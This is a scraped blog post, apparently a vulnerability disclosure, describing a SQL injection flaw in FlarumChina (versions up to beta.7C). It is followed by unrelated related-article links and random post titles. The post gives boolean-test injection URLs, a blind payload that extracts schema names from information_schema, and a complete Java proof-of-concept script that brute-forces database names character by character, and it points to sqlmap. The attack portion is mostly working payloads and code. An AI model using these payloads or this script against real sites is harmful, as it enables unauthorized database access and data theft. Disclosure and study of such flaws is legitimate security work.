FlarumChina SQL injection Vulnerability
First,We need to download our vulnerable program in GitHub
links:https://github.com/skywalker512/FlarumChina/
Vulnerable versions: <= FlarumChina-beta.7C
When the build is completed, the following image will be displayed

So,The SQL Injection Vulnerability in Search Engine
You just need to visit the following links to make your judgment:
(1).http://127.0.0.1/?q=1%' and 1=1 --+

(2).http://127.0.0.1/?q=1%' and 1=2 --+

So, by returning the different pages mentioned above, we can see that there is a SQL injection vulnerability in this place.
Of course, I also wrote a script in Java to get the database name.
Although not perfect.
Principle:
http://localhost/?q=1%' and substr((select schema_name from information_schema.schemata limit 1,1),1,1)='f' --+

This link is returned when the page is normal.
So use this link to judge in my Java program
Java Poc:
import java.io.BufferedReader;
import java.io.FileReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLConnection; public class work { public static void main(String[] args) throws IOException {
BufferedReader in = null;
URL url = null;
String str = null;
for(int j=0;j<6;j++) {
String bm=String.valueOf(j);
System.out.print(bm+":");
for (int i=1;i<25;i++) {
String cs=String.valueOf(i);
in = new BufferedReader(new FileReader("C:\\Users\\DELL\\Desktop\\superdic.txt"));
while((str = in.readLine()) != null) {
String urlPath = "http://localhost/?q=1%%27%20and%20substr((select%20schema_name%20from%20information_schema.schemata%20limit%20"+bm+",1),"+cs+",1)='"+str+"'%20--+";
try {
url = new URL(urlPath);
} catch (MalformedURLException e) {
System.out.println("error:"+cs);
}
URLConnection conn = url.openConnection();
conn.setDoInput(true);
BufferedReader br = new BufferedReader(new InputStreamReader(conn.getInputStream()));
StringBuilder sb = new StringBuilder();
String line = null;
while((line = br.readLine()) != null) {
sb.append(line);
}
if(sb.indexOf("http://localhost/d/2") != -1) {
if("+".equals(str)) {
break;
}
System.out.print(str);
break;
}
}
if("+".equals(str)) {
break;
}
}
System.out.print("\n");
}
in.close();
} }

Because I don't know how many databases there are, I'm going to run six for loops for the time being.
So the fifth line returned by the script does not have any output.
You can also use sqlmap directly to obtain of data.

Database:

But most websites are delayed, so script testing is recommended.
FlarumChina SQL injection Vulnerability的更多相关文章
- Cacti /graphs_new.php SQL Injection Vulnerability
catalogue . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 other SQL injection vulnerability ...
- DRUPAL-PSA-CORE-2014-005 && CVE-2014-3704 Drupal 7.31 SQL Injection Vulnerability /includes/database/database.inc Analysis
目录 . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 Use Drupal to build everything from perso ...
- Dede(织梦) CMS SQL Injection Vulnerability
测试方法: @Sebug.net dis本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负! # Dede Cms All Versions Sql Vulnerability ...
- MyBB 18 SQL Injection Vulnerability
<?php error_reporting(0); ?> <form method="post" action=""> Input a ...
- Zabbix 3.0.3 SQL Injection
Zabbix version 3.0.3 suffers from a remote SQL injection vulnerability. ============================ ...
- Portswigger web security academy:SQL injection
Portswigger web security academy:SQL injection 目录 Portswigger web security academy:SQL injection SQL ...
- CVE: 2014-6271、CVE: 2014-7169 Bash Specially-crafted Environment Variables Code Injection Vulnerability Analysis
目录 . 漏洞的起因 . 漏洞原理分析 . 漏洞的影响范围 . 漏洞的利用场景 . 漏洞的POC.测试方法 . 漏洞的修复Patch情况 . 如何避免此类漏洞继续出现 1. 漏洞的起因 为了理解这个漏 ...
- SQL injection
SQL injection is a code injection technique, used to attack data-driven applications, in which malic ...
- ref:Manual SQL injection discovery tips
ref:https://gerbenjavado.com/manual-sql-injection-discovery-tips/ Manual SQL injection discovery tip ...
随机推荐
- 对HUAWEI-ManagedProvisioning的一次不完整分析
分析思路 关注点1:AndroidManifest.xml是Android应用的入口文件,包含有APP服务的权限.广播和启动位置. 关注点2:涉及到修改系统的函数,setWifiEnabled().I ...
- Linux相关指令和操作
环境:Ubuntu16.04 1.安装ipython notebook 安装这个软件,必须安装anaconda: 注意几点:1.添加环境变量在安装的时候会自动询问你是否添加: 2.bash命令中应该和 ...
- aiohttp分流处理
# -*- coding: utf-8 -*- # @Time : 2018/12/26 9:55 PM # @Author : cxa # @Software: PyCharm import asy ...
- c# 取本地ip地址
public static System.Net.IPAddress[] GetIpAddress() { string hostName = System.Net.Dns.GetHostName() ...
- 对WinMain程序入口函数返回值为msg.wParam的几点理解
原文地址:http://blog.csdn.net/setflvet/article/details/6983224 1.在WinMain主函数中,最后的返回值是msg.wParam,这个参数是传递给 ...
- day1 diff命令递归比较目录下的文件
一.diff实战 (1)递归比较文件夹下所有的文件及目录的不同 diff --brief -Nr dir1/ dir2/ Reference ...
- 内核中 subsys_initcall 以及初始化标号
今天在看内核中无线的实现时,发现一个调用 subsys_initcall(cfg80211_init);搜索一些资料: subsys_initcall 的定义在 include/linux/init. ...
- Expm 9_1 有向图中环的判断问题
[问题描述] 给定一个有向图,要求使用深度优先搜索策略,判断图中是否存在环. package org.xiu68.exp.exp9; public class Exp9_1 { //用深度优先搜索判断 ...
- Spark学习之Spark安装
Spark安装 spark运行环境 spark是Scala写的,运行在jvm上,运行环境为java7+ 如果使用Python的API ,需要使用Python2.6+或者Python3.4+ Spark ...
- 解决Javascript中$(window).resize()多次执行
有些时候,我们需要在浏览器窗口发生变化的时候,动态的执行一些操作,比如做自适应页面时的适配.这个时候,我们需要在窗口拖动的时候去执行代码.但是有些时候,执行的操作比较复杂,我们只希望在窗口拖动完毕之后 ...